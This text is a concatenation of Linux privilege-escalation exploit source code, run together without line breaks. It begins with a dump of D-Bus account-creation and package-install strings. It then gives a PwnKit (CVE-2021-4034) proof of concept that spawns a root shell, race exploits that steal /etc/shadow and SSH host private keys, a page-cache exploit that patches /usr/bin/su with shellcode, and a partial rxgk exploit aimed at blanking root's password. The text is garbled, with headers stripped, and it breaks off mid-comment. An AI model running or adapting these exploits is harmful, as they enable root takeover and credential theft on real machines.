org.freedesktop.Accounts.CreateUser string:%s string:%s int32:1v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-?([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??^v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??$^v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-?([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??$--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User%s org.freedesktop.Accounts.User.SetPassword string:%s string:lol78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858--session --print-reply --type=method_call --dest=org.freedesktop.PackageKit /org/freedesktop/PackageKit org.freedesktop.PackageKit.Modify.InstallPackageNames uint32:1 array:string:%s string:00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899  /* * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 */ #include #include #include char *shell = "#include \n" "#include \n" "#include \n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; char compile_cmd[512]; const char *pkexec_path = argc > 1 ? argv[1] : "/usr/bin/pkexec"; const char *cc = getenv("CC"); if (cc == NULL || cc[0] == '\0') { cc = "gcc"; } system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); snprintf(compile_cmd, sizeof(compile_cmd), "%s pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC", cc); system(compile_cmd); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve(pkexec_path, (char*[]){NULL}, env); perror("execve"); return 1; } /* * CVE-2026-46333 - Shadow File Stealer (chage) * Author : Ashraf Zaryouh / @0xBlackash */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define MAX_ROUNDS 1200 #define MAX_TRIES 18000 #define MAX_FDS 64 #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif static int pidfd_open(pid_t pid, unsigned flags) { return syscall(__NR_pidfd_open, pid, flags); } static int pidfd_getfd(int pidfd, int target_fd, unsigned flags) { return syscall(__NR_pidfd_getfd, pidfd, target_fd, flags); } int main(void) { printf("[+] CVE-2026-46333 Shadow Stealer by 0xBlackash\n"); printf("[+] Target: /etc/shadow via chage\n\n"); const char *chage_path = "/usr/bin/chage"; if (access(chage_path, X_OK) != 0) { fprintf(stderr, "[-] chage not found at %s\n", chage_path); return 1; } printf("[+] Found chage at: %s\n", chage_path); printf("[+] Starting race...\n"); for (int round = 0; round < MAX_ROUNDS; round++) { pid_t child = fork(); if (child == 0) { int null = open("/dev/null", O_RDWR); dup2(null, 0); dup2(null, 1); dup2(null, 2); close(null); execl(chage_path, "chage", "-l", "root", NULL); _exit(127); } int pidfd = pidfd_open(child, 0); if (pidfd < 0) { waitpid(child, NULL, 0); continue; } int success = 0; for (int try = 0; try < MAX_TRIES && !success; try++) { for (int fd = 3; fd < MAX_FDS; fd++) { int stolen = pidfd_getfd(pidfd, fd, 0); if (stolen < 0) continue; char path[512]; char link[128]; snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); ssize_t len = readlink(link, path, sizeof(path)-1); if (len > 0) { path[len] = '\0'; if (strstr(path, "/etc/shadow")) { printf("[+] SUCCESS! Stolen /etc/shadow (round %d)\n", round); lseek(stolen, 0, SEEK_SET); char buffer[8192]; ssize_t n = read(stolen, buffer, sizeof(buffer)-1); if (n > 0) { buffer[n] = '\0'; printf("\n=== /etc/shadow ===\n%s\n", buffer); } close(stolen); success = 1; break; } } close(stolen); } } close(pidfd); waitpid(child, NULL, 0); if (success) return 0; if ((round + 1) % 100 == 0) printf("[.] Progress: %d/%d rounds\n", round + 1, MAX_ROUNDS); } printf("[-] Failed to hit shadow after %d rounds.\n", MAX_ROUNDS); return 1; } /* * CVE-2026-46333 - ssh-keysign-pwn (and similar SUID tools) * Author : Ashraf Zaryouh / @0xBlackash * * Exploits race condition in process exit path (do_exit -> exit_mm before exit_files) * when mm == NULL, dumpability checks are bypassed, allowing pidfd_getfd to steal * open file descriptors from dying privileged processes. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define MAX_ROUNDS 800 #define MAX_FDS_SCAN 64 #define MAX_TRIES 25000 // Raw syscalls for older glibc #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif static int pidfd_open(pid_t pid, unsigned flags) { return syscall(__NR_pidfd_open, pid, flags); } static int pidfd_getfd(int pidfd, int target_fd, unsigned flags) { return syscall(__NR_pidfd_getfd, pidfd, target_fd, flags); } int main(void) { printf("[+] CVE-2026-46333 PoC by 0xBlackash\n"); printf("[+] Target: Steal SSH host private keys via ssh-keysign\n\n"); const char *ssh_keysign_paths[] = { "/usr/libexec/ssh-keysign", "/usr/lib/openssh/ssh-keysign", "/usr/lib/ssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", NULL }; const char *binary = NULL; for (int i = 0; ssh_keysign_paths[i]; i++) { if (access(ssh_keysign_paths[i], X_OK) == 0) { binary = ssh_keysign_paths[i]; break; } } if (!binary) { fprintf(stderr, "[-] ssh-keysign not found. Install openssh-server.\n"); return 1; } printf("[+] Found ssh-keysign at: %s\n", binary); printf("[+] Starting race attack...\n"); int success = 0; for (int round = 0; round < MAX_ROUNDS && !success; round++) { pid_t child = fork(); if (child == 0) { // Child: silent execution of ssh-keysign int nullfd = open("/dev/null", O_RDWR); dup2(nullfd, 0); dup2(nullfd, 1); dup2(nullfd, 2); close(nullfd); execl(binary, "ssh-keysign", NULL); _exit(127); } int pidfd = pidfd_open(child, 0); if (pidfd < 0) { waitpid(child, NULL, 0); continue; } for (int attempt = 0; attempt < MAX_TRIES && !success; attempt++) { for (int fd = 3; fd < MAX_FDS_SCAN; fd++) { int stolen_fd = pidfd_getfd(pidfd, fd, 0); if (stolen_fd < 0) continue; // Check if this fd points to an SSH host key char linkpath[128], realpath[512]; snprintf(linkpath, sizeof(linkpath), "/proc/self/fd/%d", stolen_fd); ssize_t len = readlink(linkpath, realpath, sizeof(realpath) - 1); if (len > 0) { realpath[len] = '\0'; if (strstr(realpath, "ssh_host_") && strstr(realpath, "_key")) { printf("[+] SUCCESS! Stolen fd %d -> %s (round %d)\n", fd, realpath, round); // Read and dump the private key lseek(stolen_fd, 0, SEEK_SET); char buffer[8192]; ssize_t n = read(stolen_fd, buffer, sizeof(buffer) - 1); if (n > 0) { buffer[n] = '\0'; printf("\n=== SSH PRIVATE KEY ===\n%s\n", buffer); } close(stolen_fd); success = 1; break; } } close(stolen_fd); } } close(pidfd); waitpid(child, NULL, 0); if ((round + 1) % 50 == 0) { printf("[.] Still racing... (%d/%d)\n", round + 1, MAX_ROUNDS); } } if (success) { printf("[+] Exploit completed successfully.\n"); } else { printf("[-] Failed after %d rounds. Try increasing MAX_ROUNDS.\n", MAX_ROUNDS); } return success ? 0 : 1; } #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 #define PAYLOAD_LEN 192 #define ENTRY_OFFSET 0x78 static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return 0; } static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; } static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG("add_xfrm_sa #%d failed", i); return -1; } } SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d failed", i); return -1; } } SLOG("wrote %d bytes to %s", PAYLOAD_LEN, TARGET_PATH); return 0; } int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG("corruption stage failed"); return 1; } if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("verify failed"); return 1; } printf("[+] /usr/bin/su page-cache patched successfully!\n"); return 0; } int main(int argc, char **argv) { printf("=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh \"0xBlackash\" ===\n"); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); if (getuid() == 0) { execlp("/bin/sh", "sh", NULL); return 1; } int rc = su_lpe_main(argc, argv); if (rc == 0) { printf("[+] Success! Spawning root shell...\n"); execl("/usr/bin/su", "su", "-c", "/bin/sh", NULL); } printf("[-] Exploit failed\n"); return 1; } /* * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb() * * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then * crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback), * the in-place decrypt corrupts the page cache. * * The same pattern exists in rxkad (rxkad_verify_packet_2). * * Exploitation uses a sliding-window technique to write arbitrary bytes to the * pagecache one at a time. Each round fires a spliced rxgk packet at offset * S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly * random (1/256 chance of the target value). Round i+1 at offset S+i+1 * overwrites the 15 bytes of collateral from round i, but never touches the * byte set by round i. This yields byte-granularity writes at ~256 fires per * byte. * * Attack: rewrite /etc/passwd root entry → empty password → su root → flag. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __has_include # if __has_include() # include # include # include # else # define NEED_RXRPC_DEFS # endif #else # include # include # include #endif #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifdef NEED_RXRPC_DEFS #define KEY_SPEC_PROCESS_KEYRING (-2) #define RXRPC_SECURITY_KEY 1 #define RXRPC_MIN_SECURITY_LEVEL 4 #define RXRPC_SECURITY_ENCRYPT 2 #define RXRPC_USER_CALL_ID 1 struct sockaddr_rxrpc { unsigned short srx_family; uint16_t srx_service; uint16_t transport_type; uint16_t transport_len; union { unsigned short family; struct sockaddr_in sin; struct sockaddr_in6 sin6; } transport; }; #endif #define RXGK_SECURITY_INDEX 6 #define ENCTYPE_AES128_CTS 17 #define AES_KEY_LEN 16 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; uint16_t serviceId; } __attribute__((packed)); #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_LAST_PACKET 0x04 #define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) /* --- helpers --- */ static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); } static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } /* --- user/net namespace --- */ static void setup_ns(void) { uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { if (unshare(CLONE_NEWNET) < 0) { perror("unshare"); exit(1); } } else { write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", uid); write_proc("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1", gid); write_proc("/proc/self/gid_map", map); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct ifreq ifr = {}; strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; ioctl(s, SIOCSIFFLAGS, &ifr); } close(s); } } /* --- rxgk XDR token construction --- */ static void xdr_put32(uint8_t **pp, uint32_t val) { uint32_t nv = htonl(val); memcpy(*pp, &nv, 4); *pp += 4; } static void xdr_put64(uint8_t **pp, uint64_t val) { xdr_put32(pp, (uint32_t)(val >> 32)); xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF)); } static void xdr_put_data(uint8_t **pp, const void *data, size_t len) { xdr_put32(pp, (uint32_t)len); memcpy(*pp, data, len); *pp += len; size_t pad = (4 - (len & 3)) & 3; if (pad) { memset(*pp, 0, pad); *pp += pad; } } static int build_rxgk_token(uint8_t *out, size_t maxlen, const uint8_t *base_key, size_t keylen) { uint8_t *p = out; struct timespec ts; clock_gettime(CLOCK_REALTIME, &ts); uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL + (uint64_t)ts.tv_nsec / 100ULL; xdr_put32(&p, 0); /* flags */ xdr_put_data(&p, "poc.test", 8); /* cell */ xdr_put32(&p, 1); /* ntoken */ uint8_t tok[512]; uint8_t *tp = tok; xdr_put32(&tp, RXGK_SECURITY_INDEX); xdr_put64(&tp, now); /* begintime */ xdr_put64(&tp, now + 864000000000ULL); /* endtime */ xdr_put64(&tp, 2); /* level = ENCRYPT */ xdr_put64(&tp, 864000000000ULL); /* lifetime */ xdr_put64(&tp, 0); /* bytelife */ xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */ xdr_put_data(&tp, base_key, keylen); /* key */ uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE}; xdr_put_data(&tp, ticket, sizeof(ticket)); size_t toklen = (size_t)(tp - tok); xdr_put32(&p, (uint32_t)toklen); memcpy(p, tok, toklen); p += toklen; if ((size_t)(p - out) > maxlen) return -1; return (int)(p - out); } static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen) { uint8_t buf[1024]; int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); } /* --- AF_RXRPC client + fake UDP server --- */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) return -1; if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { close(fd); return -1; } int min_level = RXRPC_SECURITY_ENCRYPT; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { close(fd); return -1; } return fd; } static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id) { char data[] = "TESTDATA"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; struct msghdr msg = {0}; msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD; int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) return -1; return 0; } static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) return -1; struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr.s_addr = htonl(0x7F000001), }; int one = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(s); return -1; } return s; } static ssize_t udp_recv(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; if (poll(&pfd, 1, timeout_ms) <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); } /* * Fire one splice-based pagecache corruption at the given file offset. * Sets up an rxgk connection with the provided key, completes the handshake * via a fake UDP server on loopback, then splices pagecache pages into a * forged DATA packet. The 